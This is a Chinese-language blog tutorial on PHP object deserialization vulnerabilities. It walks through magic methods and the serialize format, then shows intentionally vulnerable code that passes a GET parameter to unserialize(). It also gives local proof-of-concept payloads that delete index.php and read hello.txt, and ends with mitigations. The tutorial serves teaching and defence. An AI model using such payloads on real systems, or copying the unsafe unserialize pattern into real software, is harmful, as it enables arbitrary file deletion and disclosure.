php反序列化漏洞

php反序列化漏洞

关于php面向对象编程:
对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。
类:一个共享相同结构和行为的对象的集合。
每个类的定义都以关键字class开头,后面跟着类的名字。一个类可以包含有属于自己的变量,变量(称为“属性”)以及函数(“称为方法”)。类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的。类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“_”开头的,比如_construct,_destruct,_toString,_sleep,_wakeup等。这些函数在某些情况下会自动调用,比如:_construct当一个对象创建时调用(constructor);_destruct当一个对象被销毁时调用(destructor);_toString当一个对象被当作一个字符串时使用。

了解php对象概念以及php对象的一些简单特性

我们先创建一个简单的php对象:

<?php
class TestClass
{
//一个变量
public $variable = 'This is a string';
//一个简单的方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>
//test.php

运行结果如下:

在这里插入图片描述接下来开始尝试使用magic函数,在类中添加一个magic函数:

<?php

class TestClass
{
    //一个变量
    public $variable = 'This is a string';
    //一个简单的方法
    public function PrintVariable()
    {
        echo $this->variable.'<br />';
    }
    //Constructor
    public function  __construct()
    {
        echo '__construct<br />';
    }
    //Destructor
    public function __destruct()
    {
        echo '__destruct<br />';
    }
    //call
    public function __toString()
    {
        return '__toString<br />';
    }
}
//创建一个对象
//__construct会被调用
$object = new TestClass();
//创建一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作一个字符串
//toString会被调用
echo $object;
//php脚本要结束时,__destruct会被调用
?>
//test1.php

再来看一下这次:

在这里插入图片描述从结果看,这几个magic函数依次被调用了,这个旨在帮助我们理解php的magic函数。

了解什么是php序列化以及序列化的一些格式

在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。如果一个脚本中想要的调用之前一个脚本的变量,但是之前一个脚本已经执行完毕,所有的变量和内容释放掉了,那该如何操作呢?serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换的过程中可以保存当前变量的值,而unserialize则可以将serialize生成的字符串转换回变量。通俗来说:通过反序列化在特定条件下可以重建php对象并执行php对象中某些magic函数。我们通过例子来看php对象序列化之后的格式,代码如下:

<?php

//一个类
class User
{
    //类的数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    }
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'vergilben';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>
//test2.php

结果如下:

在这里插入图片描述下面的O:4:“User”:2:{s:3:“age”;i:18;s:4:“name”;s:9:“vergilben”;}就是对象user序列化后的形式,“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。“{}”里面是参数的key和value,“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger对象,“18”是value,后面的都是相同的道理。接下来我们进行反序列化试一试,代码如下:

<?php

//一个类
class User
{
    //类的数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    }
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:9:"vergilben";}');
//输出数据
$usr->printdata();
?>
//test3.php

运行:

在这里插入图片描述可以看到,上次序列化的结果被转变成正常的语句了。

明白php对象注入的成因

我们知道magic函数是php对象的特殊函数,在某些特殊情况下会被调用,这下特殊情况当然包含serialize和unserialize。
__sleep magic方法在一个对象被序列化时调用,__wakeup magic方法在一个对象被反序列化时调用。下面解释一下:

<?php

class test
{
    public $variable = 'BUZZ';
    public $variable2 = 'OTHER';
    public function printvariable()
    {
        echo $this->variable.'<br />';
    }
    public function __construct()
    {
        echo '__construct'.'<br />';
    }
    public function __destruct()
    {
        echo '__destruct'.'<br />';
    }
    public function __wakeup()
    {
        echo '__wakeup'.'<br />';
    }
    public function __sleep()
    {
        echo '__sleep'.'<br />';
        return array('variable','variable2');
    }
}

//创建一个对象,回调用__construct
$object = new test();
//序列化一个对象,会调用__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(BUZZ)
$object2->printvariable();
//脚本结束,会调用__destruct
?>
//test4.php

运行:

在这里插入图片描述可以看到serialize时调用了__sleep,unserialize时调用了__wakeup,在对象被销毁的时候用了__destruce。
存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除,比如:

<?php

class logfile
{
    //log文件名
    public $filename = 'error.log';
    //一些用于储存日志的代码
    public function logdata($text)
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //destrcuctor 删除日志文件
    public function __destruct()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }
}
?>
//test5.php

调用这个类:

<?php

include 'test5.php'
class User
{
    //类数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
    }
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>
//一个示例代码

从代码中可以看到: u s r = u n s e r i a l i z e ( usr = unserialize( usr=unserialize(_GET[‘usr_serialized’]);$_GET[‘usr_serialized’]是可控的,那么我们就可以构造输入删除任意文件
构造输入删除目录下的index.php文件:

<?php
include 'test5.php';
$object = new logfile();
$object->filename = 'index.php';

echo serialize($object).'<br />';

?>
//test7.php

接下来先进入index.php:

在这里插入图片描述接下来尝试使用test7.php删除了index.php,进入test7.php:
在这里插入图片描述现在在目录里已经没有了index.php:

在这里插入图片描述
我们再次访问一下test7.php试一试:

在这里插入图片描述index.php已经没有了。
这是一个简单的示例。

常见的注入点

上一部分展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup、__sleep、__toString等其他magic函数,一切都取决于程序逻辑。比如,某用户类定义了一个__toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许__toString读取某个文件。
现在开始这个小实验,代码如下:

<?php

include 'test9.php';
$fileobj = new fileclass();
$fileobj->filename = 'hello.txt';

echo serialize($fileobj);
?>
//test8.php

我们先访问test8.php,结果如下:

在这里插入图片描述

<?php

class fileclass
{
    //文件名
    public $filename = 'error.log';
    //当对象被作为一个字符串会读取这个文件
    public function __toString()
    {
        return file_get_contents($this->filename);
    }
}

class user
{
    //class data
    public $age = 0;
    public $name = '';
    //允许对象作为一个字符串输出上面的data
    public function __toString()
    {
        return 'user '.$this->name.' is '.$this->age.' years old.<br />';
    }
}

//用户可控
$obj = unserialize($_GET['usr_serialized']);
//输出__toString
echo $obj
?>
//test9.php

接下来我们出发反序列化漏洞,获取hello.txt的内容:
构造url:http://localhost/test9.php?usr_serialized=O:9:%22fileclass%22:1:{s:8:%22filename%22;s:9:%22hello.txt%22;}
访问:
在这里插入图片描述我们看一下hello.txt的内容:

在这里插入图片描述注意:这仅仅是个小实验,在真实环境下没有这么容易,要仔细分析提供的代码找出漏洞。

知识补充

unserialize漏洞依赖几个条件:

  1. unserialize函数的参数可控
  2. 脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向php文件中写数据的操作的类
  3. 所写的内容需要有对象中的成员变量的值

防范的方法有:
4. 严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
5. 对于unserialize后的变量内容进行检查,以确定内容没有被污染

如需转载,请注明原文出处,作者:vergilben

  • 53
    点赞
  • 177
    收藏
    觉得还不错? 一键收藏
  • 10
    评论
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值